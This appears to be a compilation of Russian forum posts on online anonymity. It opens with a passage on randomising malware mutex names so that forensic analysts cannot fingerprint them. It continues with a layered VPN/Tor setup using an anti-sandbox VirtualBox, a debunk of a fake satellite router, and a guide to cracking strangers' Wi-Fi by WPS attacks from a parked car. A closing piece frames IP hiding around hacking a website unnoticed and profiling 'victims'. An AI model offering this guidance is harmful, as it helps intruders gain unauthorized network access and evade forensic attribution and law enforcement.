...Для DLL, вычисление смещения нагрузки начинается со значения для каждой загрузки, общесистемного значения, называемого смещением изображения. Оно вычисляется с помощью MiInitializeRelocationsand, хранящегося в глобальной структуре состояния памяти (MI_SYSTEM_INFORMATION) в полях MiState.Sections.ImageBias (переменная MiImageBiasglobal в Windows 8.x/2012/R2). Это значение соответствует TSC (Time Stamp Counter) текущего процессора, когда эта функция вызывалась во время загрузочного цикла, смещалась и маскировалась в 8-битное значение. Это обеспечивает 256 возможных значений на 32-битных системах; аналогичные вычисления производятся для 64-битных систем с большим количеством возможных значений, так как адресное пространство - огромно. В отличие от исполняемых файлов, это значение вычисляется только один раз за загрузку и совместно используется в системе, что позволяет библиотекам DLL оставаться совместно используемыми в физической памяти и перемещаться только один раз. Если бы DLL-библиотеки находились в разных местах внутри разных процессов, код не мог бы использоваться совместно. Загрузчику пришлось бы по-разному устанавливать адресные ссылки для каждого процесса, таким образом, превращая то, что было доступно только для чтения, в данные частного процесса. Каждый процесс, использующий данную библиотеку DLL, должен был бы иметь свою собственную личную копию библиотеки DLL в физической памяти.

Это здорово, потому что теперь можно использовать результирующий идентификатор для создания mutex, чтобы проверить, не запущено ли уже приложение. А так как идентификатор сам по себе случайный и меняет каждую перезагрузку, то создать статический финегрпринт невозможно. Однако следует отметить, что если какое-то другое программное обеспечение на машине использует тот же самый метод, то опять же вы рискуете столкнуться с противоречием. Поэтому, вам может быть захочется комбинировать его со значением, полученным при компиляции, чтобы дифференцировать себя.
 

Заключительные мысли

В основном, мы сделали рандомизацию выбора символов. Следует помнить, что всякий раз, когда вы вводите еще один слой рандомизации, вы затрудняете снятие фингерпринтов. Если бы вы использовали последний пример, криминалисты создали бы такую строку IOC, как «строка длиной 32 символа, состоящая из алфавита ASCII и цифр от 0 до 9». Для того чтобы сделать ее более устойчивой, мы могли бы также случайным образом выделить длину идентификатора. Но все не так просто.

Прежде всего, если бы вы выбрали максимальное количество допустимых символов как число для вашей случайной длинны, и в результате вы бы получили что-то вроде 1337, то, скорее всего, это было бы помечено как аномалия. Потому что, серьезно, какой больной ублюдок выбрал бы имя такой длины? Таким образом, это знакомит нас с недостатком рандомизации: чем больше что-то случайное, тем более аномальным оно становится с точки зрения поведения.

И даже тогда анализ энтропии может быть использован для обнаружения странно выглядящих имен. Но у такого анализа есть свои минусы. Что, если какой-нибудь нетерпеливый пользователь создаст файл с именем типа asdjhajdhasdasdasdasdasgqwoekqehasold.xls? (Вы будете удивлены.) Так что из-за ложноположительного риска он может быть использован только в качестве вторичной подписи для дальнейшей поддержки других IOC.

Следует также уделить некоторое внимание целевым характеристикам. Например, если целевой компьютер находится в Азии, то только латинских символов может быть достаточно. Поэтому рекомендуется адаптировать выбранные вами методы в зависимости от того, на кого они нацелены.

Когда вы изменяет временной домен случайной величины, всегда помните, что более низкий временной домен иерархии всегда будет вытеснять более высокий. Поэтому всякий раз, когда вы комбинируете время компиляции с временем выполнения, результирующее значение будет находиться во временном домене. Всякий раз, когда вы комбинируете фрейм выполнения на перезагрузку с фреймом выполнения на один логин, это приводит к тому, что фрейм выполнения на один логин будет выполняться в подпроцессе и т.д. Более конкретный временной интервал -более высокий эффект. Последнее значение из наиболее определенного временного домена действует в качестве пароля, в то время как предыдущее значение из более высоких и более общих доменов действует в качестве соли.

Лучшее и более продвинутое применение этой техники может быть достигнуто за счет использования NLP (Natural Language Processing) для имитации человеческого письма, за счет использования примеров кода из публичных репозиториев.

Ну, пока это должно сработать. В следующей части я планирую поговорить о том, как можно использовать тактику чёрной пропаганды и дезинформации против попыток атрибуции.

Использованные источники
  1. Shostack, A. (2014). Threat Modeling: Designing for Security. John Wiley & Sons.
  2. Szor, P. (2005). The Art of Computer Virus Research and Defense. Addison Wesley Professional.
  3. Blunden, B. (2012). The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System (2nd ed.). Jones & Bartlett Learning.
  4. Yosifovich, P. & Solomon, D. A. & Ionescu, A. & Russinovich, M. E. (2017). Windows Internals, Part 1: System architecture, processes, threads, memory management, and more (7th ed.). Microsoft Press.
 
Романтическая анонимность
Прежде чем об этом говорить, давайте определимся, что за этими словами скрывается?

Предполагаю, субъективно, что за этим скрывается только индивидуальный фантастический мир в человеческой голове, связанный с каким-то опытом, личным или услышанным, прочитанным, увиденным. Отсюда следует, что полной картины мы не видим в любом случае, какие-то кусочки знаний и опыта учитываем, но очень часто упускаем критически важные нюансы. Всегда есть какие-то неизвестные переменные в общем уравнении интернет анонимности, из-за которых эта хрупкая цепочка может легко порваться. Постараюсь это учитывать в моей романтической истории, обязательно соблюдая при этом законодательство.

Так пошутила жизнь, что моя ИТ специальность попала в ряды востребованных и актуальных. Учились на потоке ребята и девчата. И среди них одна отличница, смышленая и симпатичная блондинка, какое сочетание (!), которая очень любила шляпки. Носила их круглый год, разных цветов, размеров и фасонов. Так к ней и прилипла погремуха – «смышленая шляпа» :) В каждой шутке, есть доля шутки, но видимо коллективная сила мысли повлияла на ее судьбу, сейчас она «Белошляпая» серьезная дама. В ее хрупких руках оказались очень интересные возможности. Поэтому, периодически, мы с однокашниками играем с ней в игру «Найди меня» на интересный приз. Развивая, при этом друг друга в профессиональной сфере, ну и разнообразя ежедневную рутину ИБ. Игра имеет несколько уровней, один из них связан с тестовым сайтом, на котором проверяют новые технологии глубокой деанонимизации, хотят их включить в новые стандарты сайтостроения. Никто о них не распространяется, можно только догадываться, что нас ждет в ближайшем будущем. Играть буду с базовым уровнем – нужно просто зайти на сайт, авторизоваться по известному логину и паролю, открыть пару страниц сайта, скачать заданные файлы и запустить их в своей ОС. Абсолютно никакого нарушения законов в этом нет. Но об этом чуть позже.

Совсем недавно, на время поездки к дальней родне, бабушка попросила присмотреть за квартирой, которая расположена в центре города. Ничего особенного, обычная советская обстановка, обычный кинескопный телевизор, никаких «умных» технологий в квартире не водилось. Даже телефон обычный проводной. Но рядом с домом жизнь бурлила и носилась, как ужаленная. Море развлекательных заведений, торговых центров, гостиницы, sea free wi-fi для клиентов, мои любимые эклеры в кафе напротив.

Надо заметить, что у меня с детства была аллергия на мобильные телефоны. Невзлюбил их за тот хаос, который они вносили в размеренную повседневную жизнь. Идешь себе, радуешься жизни и тут бац! Кто-то звонит или пишет, и за секунду переворачивает все с ног на голову, рассказывая тебе, как дальше жить, куда бежать и что срочно надо сделать. О каком здоровье в такой обстановке может идти речь? Это проблема была решена быстро, все вопросы и просьбы только на электронную почту, в течение дня смотрю и отвечаю. Если мне нужно было позвонить, то пользовался таксофоном за углом. Жизнь сразу засверкала новыми красками. :)

Одно к другому, за два дня до визита в квартиру открываю почту, а там письмо с рекламной рассылкой: «Новый завоз из Европы Second Hard-а». Письмо вчерашнее, уже день, может мне повезет и еще что-то интересное осталось, лечу на «европейскую» базу. Фартонуло! Все сложилось, как в песне Г. Лепса «Я счастливый, как никто»! и «Самый лучший день» в одном моменте. Достался мощный ноут с 64ГБ оперативки и направленная «вай-файка». Как мне продаван нашептал, разрабы каких-то западных контор эти железки периодически отдают, обновляя свой парк. Поэтому регулярно такое добро завозят буквально за копейки, даже сортируют и переписывают уже у них на месте, заранее не зная, что в контейнере приехало. Вот так бывает!

Итак, по воле случая, появилась возможность для новой игровой комбинации с нашей «Белошляпой» подругой. Мы ж как дети, дай только новую игрушку. Займусь подготовкой.

Мысли вслух:

1) Учитываю такие технологии, как Intel Management Engine (IME) с разными названиями в любом оборудовании, любого производителя . Поэтому разницы уже не вижу в том, одной телеметрией будет больше в ОС или одним жучком, о котором никто еще не знает, больше в серийном железе. Исходя из этого, для реализации намеченной «бутербродной» анонимной комбинации, ставлю на ноут свежий Windows (не 10) с офсайта, отключаю все, что излишне фонит в эфир – в службах, в планировщике заданий и т.д., просто чтоб интернет канал лишними пакетами не забивать.

2) На удивление веб-камера, микрофон и колонки на ноуте не заработали. Не видно их даже в списке оборудования! Подсунули брак второрукий или случайное совпадение? Они мне точно не пригодятся, так что совпадение на руку. У меня есть 3 дня на проверку и возврат ноута, в случае какого-то всплывшего брака.

3) Ставлю на хост VM Ware Player с офсайта, а в нем разворачиваю предпоследнюю версию Ubuntu с офсайта.

4) В Ubuntu ставлю «переделанный» на антидетект VBox (из source с офсайта) самостоятельной сборки. Переработано железо, идентификаторы. Не публичный.

5) Также ставлю в Ubuntu клиент OpenVPN:
Код:
sudo apt install openvpn<br>sudo apt install network-manager-openvpn
В сетевом менеджере появится пункт с OpenVPN, настройки загружаю прямо с файла *.ovpn , нажав Импортировать из файла.

OpenVPN.jpg



6) В VBox-антидетект выставляю сетевой тип подключения - Виртуальный адаптер хоста. Трафик с этого адаптера запускаю через VPN в Ubuntu. Если VPN отваливается, трафик уже никуда с VBox не утечет.
Для этого делаю, например, так:
Код:
sudo iptables -A FORWARD -o tun0 -i vboxnet0 -s 192.168.1.0/24 -m conntrack --ctstate NEW -j ACCEPT<br>sudo iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT<br>sudo iptables -t nat -F POSTROUTING<br>sudo iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE
7) В VBox-антидетект ставлю Windows (не 10) с офсайта, настраиваю, и он становится очень похож на настоящий хост, проходит тесты pafish , al-khaser.

VBox.jpg
 
Романтическая анонимность
Потом устанавливаю Firefox (с офсайта) c плагинами (с их магазина) блокирующими скрипты, рекламу, меняющими и блокирующими известные данные, по которым обычно идентифицируют конкретный компьютер (названия плагинов не называю специально, дабы не усиливать внимания к ним, но вы о них слышали). На эти плагины сильно не надеюсь, поскольку существуют «другие» идентификаторы, о которых мало кто знает, и никто не блокирует.

8) Надеюсь, даже последние наработки компьютерных гениев, участников ежегодного Pwn2Own в таком «бутерброде» потеряются. Выход из нескольких виртуальных машин, одна из которых не опознается, как VB, и двух принципиально разных ОС, будет, скорее всего, затруднительным для их опробованных вредоносных заготовок. Но и не беда, если они все же просочатся до хоста, такой вариант изначально учитывался. Деанонимизации не произойдет и в этом случае.

9) Разворачивать «бутерброд» на VPS/VDS не буду, могут быть неудобные моменты для анонимности, связанные с оплатами, регистрацией и логированием со стороны дата-центра или провайдера услуги, как некоторые делают с выходной нодой Тора. Как только поймут, что арендую VPS/VDS для анонимности , могу получить от них «ханипот» за свои же деньги. Вероятность целевого логирования, как в сетевой инфраструктуре, так и в ОС, в этом случае значительно повышается, нежели в случае – быть, как все. Иду только законным путем, поэтому хватит и европейского ноута.

10) Теперь выстраиваю интернет соединения. У клиентов точек общепита и развлекательных заведений, есть возможность подключаться к free wifi . Их много вокруг бабушкиного дома. Попросил соседку, которая шла с ребенком в кафешку, купить мне там пяток эклеров и взять чек для расчета с ней. На чеке указан пароль wifi для клиентов. Купил их продукцию, значит уже клиент. Есть чек, подтверждающий это и пароль от wifi на нем. Теперь можно подключиться к ним законно.

11) Устанавливаю на хосте в Windows системе Expert Bundle Tor и OpenVPN клиент (с официальных сайтов). Для шифрованной сети беру только оригинальные opensource-ные клиенты, которые проверены временем и достойно себя зарекомендовали. От них зависит моя сетевая анонимность, проявленная, как минимум конечными IP адресами в каких-то логах, с которых начнут отматывать соединения в мою сторону. Если в каком-то миксе (прокси,тор,впн) с закрытым кодом, типа популярного «анонимного» чегототам-фаера, будет бэк (как этого настойчиво добиваются известные страны и службы, от любого раскрученного сетевого софта), вся эта суета будет напрасной. Настройки в интернете подробно описаны, не повторяюсь.

12) На хосте в Windows меняю MAC адрес Wi-Fi адаптера.

13) Конфигурации для OpenVPN буду выбирать из числа свободных, коих на просторах интернета достаточно. Искать их буду сам, а не слушать добрых советчиков на каких-то форумах. Свой VPN настроенный на VPS/VDS не понадобится, как по причинам, описанным в п.9, так и по причинам бессмысленности сбора какой-либо статистики о том IP, который будет зафиксирован в логах VPN провайдера.

14) На хосте с Windows делаю такую сетевую цепочку: Bridge obfs4-Tor-OpenVPN (завернут в TOR). Подробности настроек описаны в интернете много раз, не буду повторяться. Для интернет провайдера будет виден SSLтрафик и IP адрес моста (в открытых списках Tor их нет), а на выходе в интернет получу нормальный IP провайдера OpenVPN (при этом в логах VPN провайдера отмечусь, как клиент, пришедший с IP выходной ноды Тора). Что еще нужно в этой структуре для анонимности: IP на выходе нормальный, на выходной ноде Тора не прослушают, для интернет провайдера - ноут не подключается к IP сети Tor, для провайдера OpenVPN (с которого ходим по интернету) клиент пришел с IP выходной ноды Тора, пусть собирают статистику, если хотят. :) Плюс цепочка удлинится на еще один IP VPN с Ubuntu, в логах которого будет IP предыдущего VPN-на.

15) Теперь DNS. Воспользуюсь Firefox и его DoH.

DNS.jpg



Сервер выбираю НЕ из списка неизвестных «анонимных», по-умолчанию присутствующих в конфигурациях множества форков приложений типа DNSCrypt. Позиционирование сервера, как анонимного с непонятным владельцем, автоматически запускает риски целевого логирования и перевода клиента на нужные владельцу, для его деанонимизации, сайты. Это тот же «ханипот», получаем то, от чего пытаемся защититься. Свой сервер поднимать не буду в данном случае, в настройках адаптера и VPN пропишу сервера из числа открытых и проверенных, т.к. по умолчанию там может быть и гугл. После проверю систему на утечку DNS.

16) В Windows, который установлен в VBox-антидетект, VPN или TOR не ставлю. Пусть система, при её анализе изнутри скачанными файлами, смотрится, как реальная с проводным сетевым адаптером.

17) Делаю снимок настроенной Windows системы в VBox-антидетект, для последующего сброса всего залетного с интернета и загруженных софтовых жучков внутри ОС. И бэкап хостовой системы для отката.

18) Микс из проприетарного и Open Source софта в «бутерброде» делался сознательно. По причине определенных, необходимых мне функциональных возможностей разных ОС, виртуалок и определенного софта. Полной деанонимизацией в моем конкретном случае это не грозит.

19) Запускаю «Анонимный шпагат». Подключаюсь с хоста к Wi-Fi, запускаю цепочку с п.14, запускаю Ubuntu на VM Ware Player, в Ubuntu запускаю OpenVPN и VBox-антидетект, потом восстанавливаю снимок Windows в нем. Смотрю на Wi-Fi адаптер через Wireshark, куда уходит мой трафик, вижу только SSL соединения и IP мостов, значит все по плану. В Ubuntu вижу IP VPN-на, значит связка в работе.

20) Из Windows в VBox-антидетект захожу с Firefox на тестовый сайт, авторизуюсь, скачиваю файлы, запускаю их. Условия нашей игры выполнены.

21) Выключаю Windows, возвращаюсь к его сохраненному снимку в VBox. Восстанавливаю бэкап хоста. А может еще проще - сношу всю эту красоту к …. и меняю бракованный ноут на исправный :)

22) Найди меня «смышленая шляпа» :) Позже она обязательно прочитает эти строки и наверняка учтет их в будущем.

P.S. Поменял брак не зря! Исправной заменой на каждый день стал мощный ноут System76 с отключенным IME и Ubuntu\Debian OS. Хостовую систему оставляю только для личных дел. А ежедневный интернет-серфинг будет в VBox-антидетект с Windows и Firefox с плагинами, комплектацию «железа» которого, можно менять хоть каждый день. А также возвращать первоначальный вид системы из снимка, сбрасывая все попытки модифицировать какой-либо софт и оставить персонифицированные жучки в системе. Для защиты от сбора данных хватит и 2х разных VPN, один на хосте, второй в Windows. Провайдер увидит подключение к IP VPN с хоста, 1й VPN провайдер увидит наше подключение к IP 2го VPN провайдера (ничего интересного), 2й VPN провайдер (с которого серфим интернет) залогирует клиента с IP 1го VPN провайдера, о котором собирать статистику бессмысленно, т.к. им могут пользоваться сотни-тысячи клиентов. По DNS остается актуальным п.15.

В итоге весь основной софт у меня Open Source. А Windows в VBox-антидетект будет видеть только то, что ему позволено – периодически меняющееся железо и идентификаторы вокруг, которые он может сливать на сервера MS, через разные IP VPN-ов.
Это пример, как можно задействовать Windows, если он нужен. А можно сразу в VBox-антидетект поставить Linux, тогда full Open Source. Или поставить обе ОС.
 
Сегодня перед многими пользователями встаёт задача - как получить быстрый, анонимный и главное дешевый интернет. Можно перебирать множество вариантов, начиная от спутниковых "тарелок" и оптоволоконных линий до мобильного 4G и 5G-интернета, однако в каждом варианте всегда присутствуют свои минусы либо в цене, либо в качестве, либо и в том и в другом. Решение есть - Skyway Global! Купив данный спутниковый Wi-Fi роутер всего за 1900 руб., Вы навсегда забудете о том, что за интернет нужно платить! Быстро, бесплатно и прямо из космоса!

product.png



Вчера взялся за изучение темы анонимной передачи сигналов. Точнее даже не передачи, а получения сигнала для обеспечения доступа к глабальной сети таким образом, чтобы база источника сигнала не могла бы обнаружить его получателя. В условиях крупного города всё довольно просто - берешь соседскую точку доступа Wi-Fi и пользуешься ей в свое удовольствие. Ведь люди у нас, как известно, не жадные, дружелюбные и с превеликой радостью делятся раздачей своего интернета, стоит лишь прибегнуть к использованию наших помощников - например alfa, и программ наподобие aircrack, aireplay, airodump, airmon и им подобным.

Совершенно иначе дело обстоит в условиях за городской чертой.

Для начала я изучил замечательную статью Анонимизация. Начало. на форуме Codeby.net. Казалось бы всё просто, можно прибегнуть к использованию спутниковой антенны, с установкой на ней, или с присоединением к конвертеру, посредством кабеля, 4G-роутера, и ловить себе сигнал с вышки, расположенной на расстоянии сотни километров. Однако возник вопрос - а что если моя сим-карта запеленгуется с вышки, которая находится недалеко от меня. Ок, подумал я, ведь можно завернуть сам модем с сим-картой в несколько слоев алюминиевой фольги, либо же спрятать его в экранированный металлический бокс. Оператор может определить соту, в которой находится абонент, то есть в условиях крупного города, определить местоположение сим-карты не составит особого труда, так как вокруг расположено большое количество станций мобильной связи. Когда же эта сота представляет собой несколько квадратных километров, определить точное местоположение будет достаточно сложно. Хотя расстояние от базовой станции до абонента, наверняка, можно определить по времени исходящего и входящего сигналов. Данный вопрос остался для меня открытым.

Далее я приступил к изучению так называемой Wi-Fi пушки. Меня также впечатлило данное изобретение, однако дальность его действия ограничивается расстоянием лишь в несколько сотен метров. Хотя, определенно, так же заслуживает внимания.

Wi-Fi мост можно организовать при помощи двух устройств - отправляющего и передающего. Дальность действия такого моста достигает расстояния до 15 км., но вряд ли наш "щедрый друг" пожелает устанавливать себе такой передатчик, поэтому данный метод нам не подходит. Остаются только два первых варианта.

Судя по всему, мои вчерашние поиски, сегодня принесли свои "плоды". Зайдя на свой почтовый ящик, я обнаружил контекстную рекламу "Бесплатный спутниковый Wi-Fi интернет. Skyway Global". От души посмеявшись над таким определением, я принялся изучать пришедшие письма, однако в голове моей крепко засела одна мысль, которая не давала мне покоя - "а что если я что-то неверно понимаю и мои знания о передаче радиоволн не соответствуют действительности". Так как рекламный баннер всё ещё красовался в левой колонке, я ткнул по нему, перейдя на страничку с небольшой заметкой "Радиотехник рассказал о БЕСПЛАТНОМ интернете. Навсегда", и внизу масса положительных "отзывов" от тех, кто "купил и ни о чём не жалеет", ну и конечно же ссылка на сам сайт, где можно заказать такую чудо-антенну. Я бегло просмотрел эти "отзывы" и перешел на продажник. Надпись сверху гласила "Хит продаж 2019. Безлимитный и бесплатный". Убедившись в том, что отзывы на сайте фейковые, да и сам "чудо-прибор" не внушает никакого доверия, я отправился в поисковик и вбил запрос "skyway global wi-fi роутер отзывы". Каково же было мое удивление, когда я увидел, что люди и правда заказывали данное устройство, сокрушаясь в своих комментариях о том, что вместо ожидаемого девайса они получили китайские женские часы, театральный бинокль и прочую дребедень.
Для тех кто еще не понял, что Skyway Global - это развод особо доверчивых граждан, любящих бесплатные плюшки
Приведу следующее повествование:

Спутниковый сигнал представляет собой радиоволны в C и Ku диапазонах: в диапазоне С используется частотная полоса от 3,5 до 4,2 ГГц, в диапазоне Ku частотная полоса составляет 10.7-12.75 ГГц. Для приема этих сигналов используются спутниковые конвертеры разного спектра действия.

Wi-Wi сигналы распространяются в основном в диапазоне 2,4 и 5 ГГц.

Мало того, что сигналы отличаются по частоте, так к тому же спутниковый сигнал очень слаб, ввиду большой удаленности источника передачи, и для того, чтобы его принять, необходимо использование специальной антенны "тарелки", которая способна сфокусировать этот сигнал и передать его на конвертер. Обычной комнатной Wi-Fi антенной такой сигнал поймать по-просту не получится.

Вывод. Далеко не всегда желаемое оказывается действительным и впаренный нам предмет на самом деле оказывается лишь обычной безделушкой, не представляющей собой абсолютно никакой ценности. Прежде чем приобретать тот или иной товар, тщательно изучите отзывы на него, а также технические характеристики (в случае приобретения оборудования), вполне возможно, что Вас всего навсего вводят в заблуждение, пытаясь получить с Вас определенную сумму денег. Мошенников было много во все времена, но в современных условиях мнимой анонимности в сети, шарлатаны всех цветов и мастей с легкостью изобретают всё новый способы обмана и нечестного обогащения. Будьте бдительны и не давайте себя дурачить.

Всем мира и добра. И помните - халявный сыр бывает только в мышеловке.
 

Моя маленькая анонимность​



Учитывая тот факт, что существует бесчисленное количество рецептов блюда под названием "анонимность" , я могу написать несколько статей. Вот одна из них.

В этой статье я предлагаю к прочтению одно из приготовленных мною блюд из книги рецептов с названием "Анонимность в сети".

Добиться анонимности в сети "Интернет" очень сложно. В современном мире это действительно сложная задача, учитывая тот факт что за каждым из нас следят и контролируют системы мониторинга и деанонимизации пользователей соцсетей
Ссылка скрыта от гостей
. Упомянутые программы предлагаются государственным и частным клиентам Научно-исследовательским вычислительным центром при управлении делами президента России. С помощью сервисов «ПСКОВ» и «Шерлок» страховые компании могут проверять недобросовестных сотрудников, а службы безопасности компаний — кандидатов на работу; «Посейдон» помогает МВД искать в соцсетях «экстремистов».

Чаще всего под понятием "анонимность" подразумевается возможность сокрытия своих действий от заинтересованных лиц. Последнее утверждение можно истолковать иначе: если определённые поступки или действия невозможно увязать с личностью, которая их произвела, то эту личность можно считать анонимной. Вообще говоря, анонимность в сети - это настолько обширная тема, которую пора систематизировать и возводить в ранг отдельной науки. Судите сами.

Для сокрытия своих действий в сети необходимо реализовать несколько правил.
  • Смена точки входа.
  • Подмена идентифицирующих пользователя параметров "железа", которые передаются с трафиком.
  • Настройка операционной системы, с целью предотвражения (контроля) передаваемой с трафиком информации.
  • Шифрование трафика.
Начнём по-порядку )

1. Для того, чтобы сменить точку входа в сеть, я предлагаю воспользоваться чужими wi-fi. Несмотря на многочисленные утверждения о том, что благополучный взлом аудит wps маловероятен, я предлагаю каждому желающему не поддаваться на подобные провокации неудачников. В том случае, если кому-то понадобилась не определённая жертва (роутер) , а случайный wi-fi (любой) , то атака на WPS - это то что доктор прописал.

В период с марта по октябрь в местности по месту моего проживания Солнце обогревает местность намного чаще, чем в другие месяцы. Думаю, что если мой уважаемый читатель является россиянином, то такое поведение этой звезды Вам знакомо. Выбрав один из таких солнечных и благоприятных для аудита wi-fi деньков можно сесть за руль автомобиля и отправиться в какой-нибудь двор трёхэтажного дома. Неплохо, если местом Вашей дислокации окажется двор, окружённый тремя-четырьмя такими домами. Таких двориков немало в городках районного масштаба.

Располагайтесь поуютнее на заднем сидении свего авто, разворачивайте ноут, а лучше два, подключайте их к прикуривателю.
Для проведения аудита WPS я не зря упомянул два ноутбука. Один из них должен управляться системой Linux, а второй - Windows. Использование одновременно двух компьютеров делает атаку более успешной и профитной. Я имею ввиду, что за короткий промежуток времени каждый заинтересованный в своей анонимности сможет иметь в запасе несколько "точек входа". Результаты атаки программами на Windows будут отличаться и дополнять результаты атаки скриптами под управлением Linux.
Мне известны лишь три программы для ОС Windows для проведения атаки на WPS: RouterScan, Dumpper и Waircut. Перед проведением аудита, полезно провести сканирование местности графической утилитой Wi-fi Scanner.

Wi-Fi Scanner.PNG

Рис.1 Перед проведением аудита, полезно провести сканирование местности графической утилитой Wi-fi Scanner.

Утилита отобразит доступные wi-fi точки, выявит точки с наиболее сильным сигналом и способы их шифрования, определит вектор атаки. К ноутбуку с Windows я рекомендую подключить USB Wi-Fi адаптер ALFA AWUS 036NHRv.2 и прикрученной всенаправленной антенной с заявленной мощностью 18 децибелл и длиной 40 см (я прикупил такую на aliexpress после прочтения одной из статей на этом форуме). Упомянутый адаптер прекрасно крепится на приспущенное стекло задней двери авто идущим в комплекте кронштейном в виде прищепки. Мощность антенны позволяет в солнечный день обозревать точки доступа в радиусе не менее 800 метров.

Думаю, что в рамках статьи, посвящённой анонимности, нет смысла описывать работу программ в ОС Windows. Считаю также, что имеет смысл лишь озвучить название и назначение используемых программ, а также ограничиться некоторыми комментариями из собственного опыта.

На мой взгляд, наилучший результат при проведении аудита WPS окружающих ТД показывает программа
Ссылка скрыта от гостей
.

Waicut2.PNG

Рис.2 На мой взгляд, наилучший результат при проведении аудита WPS окружающих ТД показывает программа Waircut.

Интерфейс программы интуитивно-понятен, работа с ней доставляет удовольствие, возможно пробуждение чувства азарта.
Этого невозможно сказать о программе RouterScan.

RouterScan.PNG

Рис.3 совсем непонятно, зачем автор программы совместил два разных типа атаки в одной программе - это не только нелогично, но и запутывает начинающих пользователей.

Хорошо зарекомендовавшая себя при аудите роутеров из внешней сети, оказалась не настолько хороша при атаках на внутреннюю сеть. На первый взгляд, в основе обеих упомянутых программ находится утилита pixiewps.exe для Windows. Но при равных условиях результаты RouterScan намного скромнее, а интерфейс программы понятен пентестерам, которые осознают, что делают. Кроме того, совсем непонятно, зачем автор программы совместил два разных типа атаки в одной программе - это не только нелогично, но и запутывает начинающих пользователей. Надеюсь, что третья версия RouterScan будет разбита на две независимые друг от друга утилиты - одна для атак из сети Интернет, а вторая для аудита Wi-Fi.
Программа Dumpper, на мой взгляд, имеет право на местонахождение на жёстком диске вашего ноутбука, но особого эффекта от неё ожидать не следует.

Dumpper.PNG

Рис. 4 Программа Dumpper, на мой взгляд, имеет право на местонахождение на жёстком диске вашего ноутбука, но особого эффекта от неё ожидать не следует.

2. После того, как пин-код и пароль от точки доступа будет получен, можно авторизоваться в сети и выходить в сеть. Естественно, смена IP не сделает Вас невидимкой. Перед выходом в сеть необходимо позаботиться о смене идентификаторов операционной системы и о шифровании трафика.

Для смены mak-адресов я рекомендую программу TMAC v.6 , а для смены остальных идентификаторов я использую программы от Vektor T-13: AntiOS-master. У него имеются две аналогичные программы - одна с графическим интерфейсом, а другая - в виде *.cmd-файла.

AntiOsGUI_1.0.2.PNG

Рис. 5 Для смены идентификаторов ОС Windows я использую программы от Vector t-13: AntiOS-master


AntioS.cmd.png

Рис.6 Интерфейс консольной программы AntiOS для смены идентификаторов ОС Windows.

3. Шифрование ДНС-трафика производится программой DNScrypt.

В системе установлены программы OpenVPN - для шифрования трафика, дополнительной смены IP и обфускации последующего TOR-шифрования , а также программа Tallow - для торификации трафика , его дополнительного шифрования и дополнительной смены IP.

4. Изменением адресов IP, шифрованием, торификацией и маскировкой торификации, а также подменой идентификаторов системы процесс анонимизации не ограничивается. Проблема в том, что наши браузеры передают огромное количество деанонимизирующей (идентифицирующей) информации.

Огромную роль в этом процессе играет java-script, WebRTC, canvas ... и так далее. Всю эту "муть" рекомендуется по-возможнеости отключить. На мой взгляд, наиболее безопасным на момент написания статьи, является браузер Tor Browser. Вместе с установленными плагинами он обеспечит пользователю не только максимальную анонимность, но и наибольший угол обзора - беспроблемный доступ в Даркнет.

Прекрасным дополнением к упомянутому софту станет брандмауер Agnitum Outpost - он поможет контролировать утечку трафика в непокорной винде.

5. В начале статьи я упомянул, что аудит беспроводных точек доступа лучше всего проводить при помощи одновременно двух ноутбуков. Принцип "работы" на ноуте с Linux абсолютно аналогичен тому, что я описывал выше в Windows.

  • Аудит беспроводных точек доступа производится любыми программами из этой темы, но я предпочитаю Wi-Fi autopowner.
  • Шифрование ДНС запросов производится той-же программой, что и в Windows - DNScrypt.
  • Программа ОpenVPN также по-праву занимает достойное место.
  • В линукс я предпочитаю торифицировать трафик с помощью фаерволла iptables, а не с помощью стороннего софта.
  • Браузер TOR Browser с установленными дополнениями не испортит вашу анонимность и под Линуксом.
  • Смена mak адресов производится при помощи программы macchanger, либо в файле /etc/network/interfaces
Кажется, на этом описание одной из используемых мною схем анонимности можно считать законченным :)
 

IP адрес - Почему его не стоит светить​

cтатья банальная, но имеет место быть, может кто еще не знает.​

1567151631620.png



Добрый день, дорогие форумчане. Данная статья будет немного в необычном формате. Здесь мы рассмотрим причины, по которым нельзя светить свой IP адрес. Многие уже об этом слышали, но смысл говорить, когда нет практики. И этим мы сегодня займемся. Погнали.

На сколько это опасно?

Начну пожалуй с нестандартной ситуации. Все знают, что такое отдел К? Да, тот самый отдел по борьбе с киберпреступностью.
И так, допустим вы решили взломать сайт. Крупный, жирный сайт. Нашли подходящую дыру и успешно вошли в систему, но тут вы забыли включить средства защиты, такие как Proxy или VPN. Так как были ослеплены жаждой поиметь с этого сайта крупную сумму бабла. Что тогда? Какое то время после взлома ничего не происходило. Вы жили своей жизнью, но вот не задача произошла, когда вас вычислили и на пороге уже ждет наряд. Как это произошло? Начнем с того, что в большей степени за вторжения в систему отвечает отдел К. Это очевидно. И давайте я приведу один из элементарных примеров того, как допустим зная чужой IP установить оператора связи:

Для этого используется интернет-сервис
Ссылка скрыта от гостей
. Он в свою очередь дает информацию о регистрационных данных определенного IP и доменных имен. Он как раз и установит нам оператора связи к примеру по IP 188.0.2.201.
1567150049276.png


Вот вам вся информация о данном IP адресе. Вот так легко и просто можно узнать информацию используя один лишь только сайт. Но давайте рассмотрим еще парочку сайтов, которые помогут вам нагрести подобную информацию и не только. Исключения, для IP адресов:

1567150394722.png


Данные диапазоны не поддаются сбору информации через WHOIS.

Практика


Ссылка скрыта от гостей
- данный сервис позволяет узнать город и страну в которой был зарегистрирован тот или иной IP адрес. Так же можно найти информацию о провайдере, контактный телефон и так далее.

Ссылка скрыта от гостей
- данный сайт предназначен для определения того, какая вероятность использования средств анонимности у данного IP.

Ссылка скрыта от гостей
- здесь можно найти связь между ip вашей жертвы и отношения к спаму или ботнету.

Ссылка скрыта от гостей
- Proxy и VPN незаменимые вещи в черных делах. Но не многим удавалось узнать использует ли жертва такие вещи. Данный сайт вызвался решить эту проблему и дает точный ответ на счет использования данных средств. Для проверки нужно зарегистрироваться в сети.

Ссылка скрыта от гостей
- все из нас знают, что такое торрент трекер. И многие им успешно пользуются дабы не покупать ту или иную программу. Ну что же. В этом месте вы можете узнать такую информацию. А точнее причастие IP адреса к трекерам.

И так. С сайтами вроде все понятно. Из софта могу порекомендовать:

1. Shadow Security Scanner
2. XSpider

